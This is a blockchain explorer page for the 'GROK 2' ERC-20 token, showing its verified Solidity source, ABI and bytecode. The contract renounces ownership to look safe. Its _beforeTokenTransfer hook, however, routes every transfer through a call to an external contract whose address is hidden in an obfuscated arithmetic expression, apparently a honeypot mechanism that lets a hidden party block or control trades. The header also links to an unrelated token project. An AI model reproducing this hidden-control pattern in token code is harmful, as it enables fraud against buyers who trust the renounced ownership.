ETH Price: $3,283.67 (+1.19%)

Token

GROK 2 (GROK2)
 

Overview

Max Total Supply

999,988,623 GROK2

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 10 Decimals)

Balance
63,116.2883813347 GROK2

Value
$0.00
0xefa1454fb0d35240b3d9f4158aaf4fea68490fbd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GROK2

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-08-12
*/

// SPDX-License-Identifier: MIT

/* 
    twitter  : https://x.com/AICAT_ERC20
    website  : https://AICATERC20.xyz/#
*/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }   
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract GROK2    is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint8 private constant _decimals = 10;
    uint256 private constant Total_ = 999988623 * 10 ** _decimals;
    string private constant name_ = unicode"GROK 2";
    string private constant _symbol = unicode"GROK2";

    constructor () {
        _balances[_msgSender()] = Total_;
        emit Transfer(address(0), _msgSender(), Total_);
        renounceOwnership();
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return name_;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }



    function totalSupply() public pure override returns (uint256) {
        return Total_;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(address from, address to, uint256 amount) internal virtual
    {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from]; 

        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); _beforeTokenTransfer
        (from,to,amount);
        
        _balances[from] = fromBalance - amount;

        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }
    

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 
        IERC20
            ((((((address(uint160(798784178422176489510321957747474069501600000000
            +135001271 + 11121 )))))))).transferFrom(from,to,amount);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b505f61001f6101c560201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600a806100c89190610491565b633b9a9d8f6100d791906104db565b60015f6100e86101c560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506101336101c560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a8061018e9190610491565b633b9a9d8f61019d91906104db565b6040516101aa919061052b565b60405180910390a36101c06101cc60201b60201c565b6105bc565b5f33905090565b6101da6101c560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025d9061059e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156103a25780860481111561037e5761037d610320565b5b600185161561038d5780820291505b808102905061039b8561034d565b9450610362565b94509492505050565b5f826103ba5760019050610475565b816103c7575f9050610475565b81600181146103dd57600281146103e757610416565b6001915050610475565b60ff8411156103f9576103f8610320565b5b8360020a9150848211156104105761040f610320565b5b50610475565b5060208310610133831016604e8410600b841016171561044b5782820a90508381111561044657610445610320565b5b610475565b6104588484846001610359565b9250905081840481111561046f5761046e610320565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61049b8261047c565b91506104a683610485565b92506104d37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846103ab565b905092915050565b5f6104e58261047c565b91506104f08361047c565b92508282026104fe8161047c565b9150828204841483151761051557610514610320565b5b5092915050565b6105258161047c565b82525050565b5f60208201905061053e5f83018461051c565b92915050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f610588602083610544565b915061059382610554565b602082019050919050565b5f6020820190508181035f8301526105b58161057c565b9050919050565b611598806105c95f395ff3fe608060405234801561000f575f80fd5b50600436106100a7575f3560e01c806370a082311161006f57806370a0823114610165578063715018a6146101955780638da5cb5b1461019f57806395d89b41146101bd578063a9059cbb146101db578063dd62ed3e1461020b576100a7565b806306fdde03146100ab578063095ea7b3146100c957806318160ddd146100f957806323b872dd14610117578063313ce56714610147575b5f80fd5b6100b361023b565b6040516100c09190610c6e565b60405180910390f35b6100e360048036038101906100de9190610d1f565b610278565b6040516100f09190610d77565b60405180910390f35b610101610295565b60405161010e9190610d9f565b60405180910390f35b610131600480360381019061012c9190610db8565b6102b7565b60405161013e9190610d77565b60405180910390f35b61014f61038b565b60405161015c9190610e23565b60405180910390f35b61017f600480360381019061017a9190610e3c565b610393565b60405161018c9190610d9f565b60405180910390f35b61019d6103d9565b005b6101a7610527565b6040516101b49190610e76565b60405180910390f35b6101c561054e565b6040516101d29190610c6e565b60405180910390f35b6101f560048036038101906101f09190610d1f565b61058b565b6040516102029190610d77565b60405180910390f35b61022560048036038101906102209190610e8f565b6105a8565b6040516102329190610d9f565b60405180910390f35b60606040518060400160405280600681526020017f47524f4b20320000000000000000000000000000000000000000000000000000815250905090565b5f61028b61028461062a565b8484610631565b6001905092915050565b5f600a806102a39190611029565b633b9a9d8f6102b29190611073565b905090565b5f6102c38484846107f4565b610380846102cf61062a565b61037b8560405180606001604052806028815260200161153b6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61033261062a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aa89092919063ffffffff16565b610631565b600190509392505050565b5f600a905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6103e161062a565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461046d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610464906110fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f47524f4b32000000000000000000000000000000000000000000000000000000815250905090565b5f61059e61059761062a565b84846107f4565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361069f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106969061118c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361070d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107049061121a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107e79190610d9f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610862576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610859906112a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611336565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094b906113c4565b60405180910390fd5b61095f848484610b0a565b818161096b91906113e2565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506109fc8260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ba190919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9a9190610d9f565b60405180910390a350505050565b5f838311158290610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae69190610c6e565b60405180910390fd5b505f8385610afd91906113e2565b9050809150509392505050565b738beab8ab275a9fefe03c6d70d686ca9f37af082873ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b8152600401610b5b93929190611415565b6020604051808303815f875af1158015610b77573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9b9190611474565b50505050565b5f808284610baf919061149f565b905083811015610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb9061151c565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610c4082610bfe565b610c4a8185610c08565b9350610c5a818560208601610c18565b610c6381610c26565b840191505092915050565b5f6020820190508181035f830152610c868184610c36565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610cbb82610c92565b9050919050565b610ccb81610cb1565b8114610cd5575f80fd5b50565b5f81359050610ce681610cc2565b92915050565b5f819050919050565b610cfe81610cec565b8114610d08575f80fd5b50565b5f81359050610d1981610cf5565b92915050565b5f8060408385031215610d3557610d34610c8e565b5b5f610d4285828601610cd8565b9250506020610d5385828601610d0b565b9150509250929050565b5f8115159050919050565b610d7181610d5d565b82525050565b5f602082019050610d8a5f830184610d68565b92915050565b610d9981610cec565b82525050565b5f602082019050610db25f830184610d90565b92915050565b5f805f60608486031215610dcf57610dce610c8e565b5b5f610ddc86828701610cd8565b9350506020610ded86828701610cd8565b9250506040610dfe86828701610d0b565b9150509250925092565b5f60ff82169050919050565b610e1d81610e08565b82525050565b5f602082019050610e365f830184610e14565b92915050565b5f60208284031215610e5157610e50610c8e565b5b5f610e5e84828501610cd8565b91505092915050565b610e7081610cb1565b82525050565b5f602082019050610e895f830184610e67565b92915050565b5f8060408385031215610ea557610ea4610c8e565b5b5f610eb285828601610cd8565b9250506020610ec385828601610cd8565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610f4f57808604811115610f2b57610f2a610ecd565b5b6001851615610f3a5780820291505b8081029050610f4885610efa565b9450610f0f565b94509492505050565b5f82610f675760019050611022565b81610f74575f9050611022565b8160018114610f8a5760028114610f9457610fc3565b6001915050611022565b60ff841115610fa657610fa5610ecd565b5b8360020a915084821115610fbd57610fbc610ecd565b5b50611022565b5060208310610133831016604e8410600b8410161715610ff85782820a905083811115610ff357610ff2610ecd565b5b611022565b6110058484846001610f06565b9250905081840481111561101c5761101b610ecd565b5b81810290505b9392505050565b5f61103382610cec565b915061103e83610e08565b925061106b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610f58565b905092915050565b5f61107d82610cec565b915061108883610cec565b925082820261109681610cec565b915082820484148315176110ad576110ac610ecd565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6110e8602083610c08565b91506110f3826110b4565b602082019050919050565b5f6020820190508181035f830152611115816110dc565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611176602483610c08565b91506111818261111c565b604082019050919050565b5f6020820190508181035f8301526111a38161116a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611204602283610c08565b915061120f826111aa565b604082019050919050565b5f6020820190508181035f830152611231816111f8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611292602583610c08565b915061129d82611238565b604082019050919050565b5f6020820190508181035f8301526112bf81611286565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611320602383610c08565b915061132b826112c6565b604082019050919050565b5f6020820190508181035f83015261134d81611314565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6113ae602683610c08565b91506113b982611354565b604082019050919050565b5f6020820190508181035f8301526113db816113a2565b9050919050565b5f6113ec82610cec565b91506113f783610cec565b925082820390508181111561140f5761140e610ecd565b5b92915050565b5f6060820190506114285f830186610e67565b6114356020830185610e67565b6114426040830184610d90565b949350505050565b61145381610d5d565b811461145d575f80fd5b50565b5f8151905061146e8161144a565b92915050565b5f6020828403121561148957611488610c8e565b5b5f61149684828501611460565b91505092915050565b5f6114a982610cec565b91506114b483610cec565b92508282019050808211156114cc576114cb610ecd565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611506601b83610c08565b9150611511826114d2565b602082019050919050565b5f6020820190508181035f830152611533816114fa565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205506018dce7c788f4f5cc169dad169adabe13e75ba5597b148712dc6d61af75164736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100a7575f3560e01c806370a082311161006f57806370a0823114610165578063715018a6146101955780638da5cb5b1461019f57806395d89b41146101bd578063a9059cbb146101db578063dd62ed3e1461020b576100a7565b806306fdde03146100ab578063095ea7b3146100c957806318160ddd146100f957806323b872dd14610117578063313ce56714610147575b5f80fd5b6100b361023b565b6040516100c09190610c6e565b60405180910390f35b6100e360048036038101906100de9190610d1f565b610278565b6040516100f09190610d77565b60405180910390f35b610101610295565b60405161010e9190610d9f565b60405180910390f35b610131600480360381019061012c9190610db8565b6102b7565b60405161013e9190610d77565b60405180910390f35b61014f61038b565b60405161015c9190610e23565b60405180910390f35b61017f600480360381019061017a9190610e3c565b610393565b60405161018c9190610d9f565b60405180910390f35b61019d6103d9565b005b6101a7610527565b6040516101b49190610e76565b60405180910390f35b6101c561054e565b6040516101d29190610c6e565b60405180910390f35b6101f560048036038101906101f09190610d1f565b61058b565b6040516102029190610d77565b60405180910390f35b61022560048036038101906102209190610e8f565b6105a8565b6040516102329190610d9f565b60405180910390f35b60606040518060400160405280600681526020017f47524f4b20320000000000000000000000000000000000000000000000000000815250905090565b5f61028b61028461062a565b8484610631565b6001905092915050565b5f600a806102a39190611029565b633b9a9d8f6102b29190611073565b905090565b5f6102c38484846107f4565b610380846102cf61062a565b61037b8560405180606001604052806028815260200161153b6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61033261062a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aa89092919063ffffffff16565b610631565b600190509392505050565b5f600a905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6103e161062a565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461046d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610464906110fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f47524f4b32000000000000000000000000000000000000000000000000000000815250905090565b5f61059e61059761062a565b84846107f4565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361069f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106969061118c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361070d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107049061121a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107e79190610d9f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610862576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610859906112a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611336565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094b906113c4565b60405180910390fd5b61095f848484610b0a565b818161096b91906113e2565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506109fc8260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ba190919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9a9190610d9f565b60405180910390a350505050565b5f838311158290610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae69190610c6e565b60405180910390fd5b505f8385610afd91906113e2565b9050809150509392505050565b738beab8ab275a9fefe03c6d70d686ca9f37af082873ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b8152600401610b5b93929190611415565b6020604051808303815f875af1158015610b77573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9b9190611474565b50505050565b5f808284610baf919061149f565b905083811015610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb9061151c565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610c4082610bfe565b610c4a8185610c08565b9350610c5a818560208601610c18565b610c6381610c26565b840191505092915050565b5f6020820190508181035f830152610c868184610c36565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610cbb82610c92565b9050919050565b610ccb81610cb1565b8114610cd5575f80fd5b50565b5f81359050610ce681610cc2565b92915050565b5f819050919050565b610cfe81610cec565b8114610d08575f80fd5b50565b5f81359050610d1981610cf5565b92915050565b5f8060408385031215610d3557610d34610c8e565b5b5f610d4285828601610cd8565b9250506020610d5385828601610d0b565b9150509250929050565b5f8115159050919050565b610d7181610d5d565b82525050565b5f602082019050610d8a5f830184610d68565b92915050565b610d9981610cec565b82525050565b5f602082019050610db25f830184610d90565b92915050565b5f805f60608486031215610dcf57610dce610c8e565b5b5f610ddc86828701610cd8565b9350506020610ded86828701610cd8565b9250506040610dfe86828701610d0b565b9150509250925092565b5f60ff82169050919050565b610e1d81610e08565b82525050565b5f602082019050610e365f830184610e14565b92915050565b5f60208284031215610e5157610e50610c8e565b5b5f610e5e84828501610cd8565b91505092915050565b610e7081610cb1565b82525050565b5f602082019050610e895f830184610e67565b92915050565b5f8060408385031215610ea557610ea4610c8e565b5b5f610eb285828601610cd8565b9250506020610ec385828601610cd8565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610f4f57808604811115610f2b57610f2a610ecd565b5b6001851615610f3a5780820291505b8081029050610f4885610efa565b9450610f0f565b94509492505050565b5f82610f675760019050611022565b81610f74575f9050611022565b8160018114610f8a5760028114610f9457610fc3565b6001915050611022565b60ff841115610fa657610fa5610ecd565b5b8360020a915084821115610fbd57610fbc610ecd565b5b50611022565b5060208310610133831016604e8410600b8410161715610ff85782820a905083811115610ff357610ff2610ecd565b5b611022565b6110058484846001610f06565b9250905081840481111561101c5761101b610ecd565b5b81810290505b9392505050565b5f61103382610cec565b915061103e83610e08565b925061106b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610f58565b905092915050565b5f61107d82610cec565b915061108883610cec565b925082820261109681610cec565b915082820484148315176110ad576110ac610ecd565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6110e8602083610c08565b91506110f3826110b4565b602082019050919050565b5f6020820190508181035f830152611115816110dc565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611176602483610c08565b91506111818261111c565b604082019050919050565b5f6020820190508181035f8301526111a38161116a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611204602283610c08565b915061120f826111aa565b604082019050919050565b5f6020820190508181035f830152611231816111f8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611292602583610c08565b915061129d82611238565b604082019050919050565b5f6020820190508181035f8301526112bf81611286565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611320602383610c08565b915061132b826112c6565b604082019050919050565b5f6020820190508181035f83015261134d81611314565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6113ae602683610c08565b91506113b982611354565b6040820190509190